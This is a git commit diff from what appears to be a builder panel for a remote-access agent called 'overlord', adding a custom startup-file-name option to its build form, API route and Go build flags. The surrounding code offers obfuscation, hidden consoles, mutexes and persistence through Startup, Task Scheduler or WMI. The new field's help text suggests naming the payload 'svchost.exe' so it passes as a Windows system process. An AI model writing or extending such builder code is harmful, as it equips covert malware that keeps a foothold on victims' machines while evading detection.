add custom file names to building and fix purgatory issue

This commit is contained in:
KingKDot
2026-03-21 03:06:35 -05:00
parent e7e5f0b778
commit 5ac5e4e536
13 changed files with 276 additions and 93 deletions
+4
View File
@@ -462,6 +462,9 @@ form?.addEventListener("submit", async (e) => {
const persistenceMethod = hasWindowsTarget
? form.querySelector("#persistence-method")?.value || "startup"
: undefined;
const startupNameVal = hasWindowsTarget
? (form.querySelector("#startup-name")?.value.trim() || "")
: "";
const hideConsole = form.querySelector(
'input[name="hide-console"]',
).checked;
@@ -494,6 +497,7 @@ form?.addEventListener("submit", async (e) => {
obfuscate,
enablePersistence,
persistenceMethod: enablePersistence && hasWindowsTarget ? persistenceMethod : undefined,
startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined,
hideConsole,
noPrinting,
outputName: outputNameVal || undefined,
+10
View File
@@ -325,6 +325,16 @@
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
<option value="wmi">WMI Subscription (requires admin)</option>
</select>
<div class="mt-3">
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
</div>
<input type="text" id="startup-name" name="startup-name" maxlength="32"
pattern="[A-Za-z0-9_-]+"
placeholder="ovd (default)"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
<p class="text-xs text-slate-500 mt-1">Custom name for the startup executable (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
</div>
</div>
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
+1
View File
@@ -20,6 +20,7 @@ export type BuildConfig = {
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethod?: string;
startupName?: string;
hideConsole?: boolean;
noPrinting?: boolean;
outputName?: string;
@@ -70,6 +70,7 @@ type BuildProcessConfig = {
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethod?: string;
startupName?: string;
hideConsole?: boolean;
noPrinting?: boolean;
builtByUserId?: number;
@@ -702,6 +703,11 @@ func runBoundFiles() {
ldflags = `${ldflags} ${methodFlag}`;
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
}
if (os === 'windows' && config.startupName) {
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
ldflags = `${ldflags} ${startupNameFlag}`;
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
}
} else {
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
}
@@ -48,6 +48,7 @@ export async function handleBuildRoutes(
obfuscate,
enablePersistence,
persistenceMethod,
startupName,
mutex,
disableMutex,
hideConsole,
@@ -135,6 +136,10 @@ export async function handleBuildRoutes(
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
? persistenceMethod.toLowerCase()
: 'startup';
const safeStartupName =
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
? startupName.trim()
: undefined;
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
? outputName.trim()
: undefined;
@@ -217,6 +222,7 @@ export async function handleBuildRoutes(
obfuscate: !!obfuscate,
enablePersistence,
persistenceMethod: safePersistenceMethod,
startupName: safeStartupName,
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
builtByUserId: user.userId,
@@ -66,7 +66,7 @@ export async function handleEnrollmentRoutes(
return Response.json({ error: "requireApproval must be a boolean" }, { status: 400 });
}
await updateEnrollmentConfig(body.requireApproval);
await updateEnrollmentConfig({ requireApproval: body.requireApproval });
logAudit({
timestamp: Date.now(),